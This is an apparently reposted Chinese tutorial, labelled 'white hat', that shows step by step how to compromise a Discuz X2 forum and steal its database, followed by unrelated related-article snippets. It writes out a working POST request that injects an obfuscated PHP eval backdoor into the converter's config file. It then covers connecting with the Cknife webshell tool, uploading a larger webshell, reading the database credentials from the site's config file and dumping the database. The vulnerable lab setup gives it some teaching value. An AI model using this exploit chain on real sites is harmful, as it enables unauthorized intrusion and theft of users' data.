20分钟攻破DISCUZ论坛并盗取数据库(web安全白帽子)

news2024/11/29 9:00:26

20分钟攻破DISCUZ论坛并盗取数据库(web安全白帽子)

  • 1 快速搭建discuz论坛
    • 1.1 攻击思路
    • 1.2 快速搭建实验环境
      • 1.2.1,漏洞概述
      • 1.2.2,在centos7虚拟机上搭建LAMP环境
      • 1.2.3,上传到discuz_X2_SC_UTF8.zip 到Linux系统/root下
      • 1.2.4.浏览器输入http://192.168.0.101安装配置discuz论坛
  • 2 使用kali下burpsuite对discuz后台注入PHP木马
  • 3 使用Cknife “菜刀”上传webshell木马到网站
    • 3.1 在kali上配置java环境
    • 3.2 使用菜刀连接discuz论坛上面的PHP后门程序
    • 3.3 上传功能更强大的木马文件webshell2.php
    • 3.4 任意机器访问我们的webshell2.php木马文件
  • 4 使用webshell查看mysql数据库密码并盗取数据库
  • 总结

1 快速搭建discuz论坛

1.1 攻击思路

想要拿下一台主机A的权限:
(1)了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
(2)拿到对A有一定权限的身份。如果对方是一个web服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
(3)传上去后,得到Apache用户普通权限,再提权成root

1.2 快速搭建实验环境

搭建一个LAMP环境。部署带有漏洞的discuz论坛

1.2.1,漏洞概述

这漏洞出现在一个DZX系列自带的转换工具里面
漏洞路径:utility/convert/data/config.inc.php
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无任何过滤检测,所以黑客可以通过post方式往config.inc.php中写木马程序。(所有做开发的东西从外网上获取数据时,不知此数据是否危险都要做过滤,但很多网站开发人员不知道做这一步过滤)

触发漏洞的过程:
(1)在浏览器中访问打开http://192.168.1.63/utility/convert/index.php
(2)使用utility/convert/index.php进行版本转换时,会自动创建utility/convert/data/config.inc.php文件(utility 效用)
(3)config.inc.php文件(这个新建的文件)没有做过滤,黑客可以使用post方法对config.inc.php注入木马程序

渗透思路:
burp suite 可以抓包,和wireshark一样,还能改包内的内容

在这里插入图片描述

1.2.2,在centos7虚拟机上搭建LAMP环境

# yum -y install httpd mariadb-server mariadb php php-mysql   #安装LAMP环境

参数:mariadb-server 这是mysql数据库的一个分支
mariadb  就是它的客户端了
php-mysql 是专门用来连接mariadb 的一个工具
#systemctl start httpd				//启动Apache
#systemctl start mariadb			//启动数据库
#mysqladmin	-u root password “电脑密码”	//给数据库配个密码
#mysql -u root -p密码				//登录数据库

1.2.3,上传到discuz_X2_SC_UTF8.zip 到Linux系统/root下

此处使用xshell连接虚拟机,注意使用桥接模式且使用路由器的网

上传之后使用

#rz				//此处使用命令上传(因不含命令,我变使用ftp上传)
[root@localhost ~]# unzip Discuz_X2_SC_UTF8_0628.zip  	//直接解压缩到当前目录下(也有可能未找到该命令,则yum -y install zip unzip来下载此命令)
# ls
//此时解压出很多东西,若搭建网站需要两个,一个upload,一个utility(漏洞就在此目录下),
[root@localhost ~]# mv upload/* /var/www/html/		//将upload下的所有东西放到网站根目录
[root@localhost ~]# mv utility/ /var/www/html/		//将utility(可以理解成一个工具,比如说版本更新等工具,无*)也传到此目录下
[root@localhost ~]# ls /var/www/html/
admin.php  config           data         home.php    misc.php    search.php  uc_client
api        connect.php      favicon.ico  index.php   plugin.php  source      uc_server
api.php    cp.php           forum.php    install     portal.php  static      userapp.php
archiver   crossdomain.xml  group.php    member.php  robots.txt  template    utility
[root@localhost ~]# cd /var/www/html/
[root@localhost html]# ll				//进入可查看这些文件的权限,要将其拥有者权限root修改,若不修改,别人是无法上传文件的(如修改自己图像),凭什么能上传自己的头像,因为上传时使用的是Apache的身份,我们的进程就是以Apache进行的(ps -axu | grep apache)
[root@localhost html]# chown -R apache:apache uc_server/ data/ config/ uc_client/
//修改权限
[root@localhost html]# chown -R apache:apache utility/convert/data/
//还需要修改data的权限(专门存数据的,临时数据)
[root@localhost html]# iptables -F
//清空防火墙,不然80端口出不来
[root@localhost html]#	setenforce 0
//确保setlinux关闭,可以用setenforce 0命令执行。 默认的,SELinux禁止网络上对Samba服务器上的共享目录进行写操作,即使你在smb.conf中允许了这项操作。

1.2.4.浏览器输入http://192.168.0.101安装配置discuz论坛

安装成功后刷新一下,或重新进入此IP就出界面了
此网站在内网,放到外网其他人就可以访问了

2 使用kali下burpsuite对discuz后台注入PHP木马

使用kali自带的火狐浏览器访问百度看其能否正常上网,接着在访问网站IP之前,打开burpsuit(是一个抓包工具,抓的是http协议)

(1)在火狐浏览器中要设计一个代理,即在右侧点击preferences属性,拉倒最下方打开setting,选择手动manul proxy configuration

(2)抓包,burpsuit默认启动后,打开proxy选项,点击“intercept is on”,变为“intercept is off”,因为我们要先访问我们的论坛,先关闭拦截,若是所有数据都被拦截了就无法调数据了,所以只拦截最后的请求,拦截最需要的东西。

(3)浏览器进行操作抓包,在kali上,打开注入漏洞的地方:http://192.168.0.106/utility/convert/
这是discuz产品升级的漏洞,随便点击一个页面,点开始弹出向导

注意:在点击开始时会产生问题,所以点击之前,因为走的代理,所以请求会转给这个代理,所以此处要开启抓包点击intercept is on,此时就开始拦截了,这样当前浏览器所有的http请求都会被拦截,点击开始,网页不停刷新是因为没有接到请求
如果之前抓到了别的数据包,需要先点击forward,把之前的http请求都放行了,然后再访问我们需要访问的连接(看地址就能看到)。

在burpsuit就会出现下方消息,就能get下方消息(凡是可以get的地方,就要尝试着去注入一句话木马)
GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1

Host: 192.168.0.106

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.106/utility/convert/

Connection: close

Upgrade-Insecure-Requests: 1

此时已经抓取到了http请求接下来要注入木马,怎么注入是不能在此直接修改的需要右击空白处(sent to repeater请求转给中继器),这样整个的数据包就拦截下来了,就可以修改了
接着点击repeater选项,修改request信息,将get请求改为post,因为这个包在自己手里,想怎么改就怎么改。改为下方
修改第一行:
GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
为:注意POST后面没有回车键,这里是文本显示自动换行了。
POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes HTTP/1.1
注:这是一个PHP一句话木马加密后的内容。翻译后的内容:
&newconfig[aaa%0a%0d eval(‘$_POAT[c];’);//]=aaaa&submit=yes
注:%0a%0d 阿斯克码的回车换行
再转换
POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0d eval(‘$_POAT[c];’);//]


扩展eval()函数:
Eval函数中的eval是evaluate的简称,这个函数的作用就是把一段字符当做PHP语句来执行,一般情况下不建议使用容易被黑客利用。
Eval(‘echo’hello worrld’;’)等同于(PHP直接执行)下边的代码:
Echo ‘hello world’;在浏览器中输出:hello world

接着点击go(send),返回200k成功,现在已经注入成功,要看木马在哪,打开Linux服务器
下面在Linux中查看注入的木马所在地
[root@localhost ~]# cd /var/www/html/utility/convert/data/
[root@localhost data]# ls
config.default.php  config.inc.php
[root@localhost data]# ll
总用量 8
-rw-r--r--. 1 apache apache  935 6月  27 2012 config.default.php
-rw-r--r--. 1 apache apache 1481 11月 15 14:53 config.inc.php
[root@localhost data]# vi config.inc.php 

注意注入的木马是免杀的,一般情况下过滤不出来,一般过滤的是eval这个函数
在这个配置文件中有很多的^M符号
扩展:^M符号

^M字符的来历和作用:在DOS/windows里,文本文件的换行符为\r\n,而在Linux系统里则为\n,所以DOS/windows里编辑过的文本文件到了Linux里,每一行都多了个^M。所以^M只是个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除
%0a%0d 等于\r\n

那么这个一句话木马怎么用(会使用菜刀来用它)

3 使用Cknife “菜刀”上传webshell木马到网站

3.1 在kali上配置java环境

搭建java环境(我们是基于java开发的)

[root@localhost ~]# yum install -y java
//注意我们现在是在此服务器上直接安装中国菜刀的,并不是在kali上安装的
很多人高渗透用的菜刀是windows下的,建议使用Linux下的会更安全一些
自动安装的是openjdk开源的

查看java版本
[root@localhost ~]# java -version
openjdk version "1.8.0_232"
OpenJDK Runtime Environment (build 1.8.0_232-b09)
OpenJDK 64-Bit Server VM (build 25.232-b09, mixed mode)

3.2 使用菜刀连接discuz论坛上面的PHP后门程序

接着上传菜刀(cknife.jar)使用ftp即可直接上传到根目录
注意:jar包的获取可看此文章https://www.cnblogs.com/ownhp/p/9094896.html
注意从Github上下载下来的cknife-master需要在myeclipse上运行一下其配置文件才会出现,并且此项目是运行在jdk1.7版本的,所以选好运行环境后,再运行一下,接着导出成可运行的jar包运行在Linux上

[root@localhost ~]# ls
anaconda-ks.cfg  CKnife.jar  Discuz_X2_SC_UTF8_0628.zip  readme  upload  ╦╡├ў.htm

传完东西后运行一下中国菜刀
[root@localhost ~]# java -jar Cknife.jar 

接着会出来一个界面,就能右击添加,如果打开程序后,看到是乱码的,我们更换一下皮肤科解决乱码问题
右击添加,会出现添加shell,选择连接即可,地址172.20.10.10/utility/convert/data/config.inc.php,密码就是前面注入程序的‘c’,
脚本类型选择PHP,字符编码选择GB2313,接着点击添加就行了
之后就行了吗,双击出现的地址,看到了什么,看到了所有的文件,接着我们还是在data文件下上传webshell2.php木马,为什么要上传大马,因为这个功能是非常强大的。小马(一句话木马)功能单一只有上传下载功能,而大马功能强大,是可以用任意机器访问此webshell了。

3.3 上传功能更强大的木马文件webshell2.php

注:这里需要上传到Apache用户有写权限的目录中,因为安装过程中discuz需要管理员修改部分权限为Apache用户,所以必然有可以上传文件的目录,我们可以直接上传到data(此目录下是有Apache权限的)目录下。
https://blog.csdn.net/weixin_45178890/article/details/98121719
此链接上有大小马程序,通过之前的一句话木马来上传此大马程序,可以试试。大马程序已改成“招财猫”。
在菜刀的界面上右击上传我们的大马程序。这就上传到data文件下了。

3.4 任意机器访问我们的webshell2.php木马文件

172.20.10.10/utility/convert/data/da.php 在浏览器输入此地址后,接着会要求输入密码这个选项,输入密码之后就能在网站登录别人的后台了,登上后可以管理任何文件

4 使用webshell查看mysql数据库密码并盗取数据库

  第四步骤已经链接上了,第五个步骤要用webshell盗取mysql的数据库了,有思路没,首先要知道数据库密码,在网站的根目录下都有一个config(/var/www/html/config)这样的目录,在这目录下有个config_global.php,所有网站都要连接数据库,既然连接数据库那么就有一个配置文件存着mysql的账号和密码。编辑此文件config_global.php,无论是java,python,PHP都有这样的文件,我们明确看到了此文件内的数据库账号和密码,看到很清楚,这样就能连上数据库就能很清楚的看到我们想要的数据了。登录数据库用密码,选择自己想要看到数据库,例如ultrax我们的discuz论坛就在此库中,在这有很多很多的,接着就是脱库(将数据库导出来),可以选择所有的数据库将其导出来,可以选择某个表导出(就是下载到本地)。这个导出功能在视频中有,现在这个大马应该是没有。
  有同学说能不能给提个权注个木马,可以现在的大马就能提权。
  到此结束了,我们可以使用Apache用户进行提权操作。然后我们就有了root权限了。因为大家还不会向里埋后门。

总结

1 快速搭建discuz论坛
2 使用kali下burpsuite对discuz后台注入PHP木马
3 使用cknife “菜刀” 上传webshell 木马到网站
4 使用webshell查看mysql数据库密码并盗取数据库

第一个先搭好论坛,搭好论坛后不是想向论坛注入数据吗,如果正常通过浏览器访问是永远也干不了坏事的,此时需要找个人篡改一下包,所以我的浏览器才需要代理上网,浏览器使用代理上网,所有的数据都交给了代理,那么代理抓到所有的数据后可以篡改你的数据,篡改数据后再将数据进行注入,注入完了后通过菜刀连接上去,连接上去后可以上传很多文件,就上传webshell,可以非常方便的看到数据库密码,看到密码后下载数据库是非常轻松的事。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1851099.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android 添加自己的时钟小部件

小部件,也叫微件, 它的介绍参考官网 应用 widget 概览 https://developer.android.google.cn/develop/ui/views/appwidgets/overview?hlzh-cn 直接上图,原生系统上,时钟应用的小部件效果。 我也整一个。 1.创建小部件布局文…

C#使用轻量级深度学习模型进行车牌颜色识别和车牌号识别

看到这个文章时候请注意这个不涉及到车牌检测,这个仅仅是车牌颜色和车牌号识别,如果想涉及到车牌检测可以参考这个博客:[C#]winform部署yolov7CRNN实现车牌颜色识别车牌号检测识别_c# yolo 车牌识别-CSDN博客 【训练源码】 https://github.…

已解决java.rmi.activation.ActivationException异常的正确解决方法,亲测有效!!!

已解决java.rmi.activation.ActivationException异常的正确解决方法,亲测有效!!! 问题分析 java.rmi.activation.ActivationException 是与Java RMI(远程方法调用)的激活机制相关的一种已检查异常。这个异…

【面试干货】Hashtable 与 HashMap 的区别

【面试干货】Hashtable 与 HashMap 的区别 1、线程安全性2、对null值的处理3、遍历方式4、遍历示例5、总结 💖The Begin💖点点关注,收藏不迷路💖 在Java中,Hashtable和HashMap都是基于哈希表实现的Map接口。然而&#…

代码随想录算法训练营第31天| 134. 加油站、135. 分发糖果、860.柠檬水找零、 406.根据身高重建队列

134. 加油站 题目链接:134. 加油站 文档讲解:代码随想录 状态:so easy 思路:每次遍历时,如果当前的油量差(currTank)小于0,说明从当前起点无法到达下一个加油站。此时,将…

Python --- 如何修改Jupyter Notebook保存文件的路径?

如何修改Jupyter Notebook在本地保存文件的默认路径? 一直以来都比较喜欢jupter notebook,自从用了以后就爱上了。平时用的时候,因为大多都是临时调用,每次在界面里直接new一个新的file就开干。 曾经也想过我创建的这些python文件…

代码随想录第31天|贪心算法

134. 加油站 参考 思路: 以每个油站相差作为判断, 比如: gas [5 8 2 8]cost [6 5 6 6] [-1 3 -4 2]错误 : 把相差最大点当作起点判断能否绕一圈 : 相加数组是否小于0局部最优: 当前累加rest[i]的和curSum一旦小于0,起始位置至少要是i1,因为从i…

初识 SpringMVC,运行配置第一个Spring MVC 程序

1. 初识 SpringMVC,运行配置第一个Spring MVC 程序 文章目录 1. 初识 SpringMVC,运行配置第一个Spring MVC 程序1.1 什么是 MVC 2. Spring MVC 概述2.1 Spring MVC 的作用: 3. 运行配置第一个 Spring MVC 程序3.1 第一步:创建Mave…

免费开源的地图解析工具【快速上手】

视频学习地址 这篇文章和【Nominatim】是相呼应的,在尝试了OSM数据一直有问题之后,通过别人的指点是不是可以换个思路,我的数据只需要精确到市级别,也可以不用OSM这样全的数据(主要原因还是OSM太过庞大了) …

Mybatis(根据id查找这一行的数据)

首先在查询之前,我们先要做些基础的工作先创建一个以你的数据库命名的model类 我的数据库的名字叫admin 我就创建了一个Admin的类 用来方便数据的访问 然后我们就要创建一个接口来声明我们要写的方法 我创建的接口命名为AdminDao 在创建一个xml的类用来实现声明的…

NSSCTF中的[WUSTCTF 2020]朴实无华、[FSCTF 2023]源码!启动! 、[LitCTF 2023]Flag点击就送! 以及相关知识点

目录 [WUSTCTF 2020]朴实无华 [FSCTF 2023]源码!启动! [LitCTF 2023]Flag点击就送! 相关知识点 1.intval 绕过 绕过的方式: 2.session伪造攻击 [WUSTCTF 2020]朴实无华 1.进入页面几乎没什么可用的信息,所以想到使用dis…

408数据结构-图的应用1-最小生成树 自学知识点整理

前置知识:图的遍历 图的应用是408初试历年考查的重点。不过一般而言,这部分内容直接以算法设计题形式考查的可能性极小,更多的是结合图的实例来考查算法的具体操作过程,要求掌握的是手推模拟给定图的各个算法执行过程。此外&#…

利口 202. 快乐数

力扣 202. 快乐数 编写一个算法来判断一个数 n 是不是快乐数。 「快乐数」 定义为: 对于一个正整数,每一次将该数替换为它每个位置上的数字的平方和。然后重复这个过程直到这个数变为 1,也可能是 无限循环 但始终变不到 1。如果这个过程 结…

信号基本分析方法——频域分析

二、频域分析 随机信号的时域分析只能提供有限的时域故障特征信息,故障发生时往往会引起信号频率结构的变化,而故障频率可以计算和预知,通过检测频率的幅值变换规律,就可以监控故障的发展过程。 频谱分析的理论基础是傅里叶变换…

AI音乐模型:创新还是颠覆?

文章目录 AI音乐大模型的崛起音乐创作门槛的降低与兴奋AI音乐作品的版权归属问题创意产业在AI阴影下的生长结语 🎉欢迎来到AIGC人工智能专栏~探索Java中的静态变量与实例变量 ☆* o(≧▽≦)o *☆嗨~我是IT陈寒🍹✨博客主页:IT陈寒的博客&…

【数据结构】链表的大概认识及单链表的实现

目录 一、链表的概念及结构 二、链表的分类 三、单链表的实现 建立链表的节点: 尾插——尾删: 头插——头删: 查找: 指定位置之后删除——插入: 指定位置之前插入——删除指定位置: 销毁链表&am…

向量和矩阵的点乘、叉乘

# 本科学习的全都还回去了-_- 一、向量 (1)点乘 向量点积, 𝑎⋅𝑏𝑐 ,符号为 ⋅ ,要求向量长度相同,是两个向量之间的点乘运算,结果是一个标量。又称&…

在 Equinix 上使用 MinIO 控制云数据成本

公有云改变了公司构建、部署和管理应用程序的方式,主要是向好的方向发展。在您刚开始使用时,公有云会提供基础架构、服务、支持和维护,以便快速启动和运行。它以几乎无限的方式提供最终的可伸缩性,无论应用程序的负载如何&#xf…

ROS中的TF是什么

在ROS (Robot Operating System) 中,tf::TransformBroadcaster 是一个用于发布坐标变换信息的重要类,尤其在处理机器人定位和导航数据时非常常见。tf::TransformBroadcaster 对象允许你广播从一个坐标系到另一个坐标系的变换关系,这对于多传感…

c语言 课设 atm

功能需求分析 ATM功能主界面:显示所能进行的操作,用户可多次选择。 ATM注册界面:输入用户名,用户密码,确认密码,密码长度不是六位重新输入,两次密码不一致重新输入,输入账号。密码隐藏,实现退格换行对*无影响。多人注册 ATM登录界面:输入账号,密码,三次以内输入…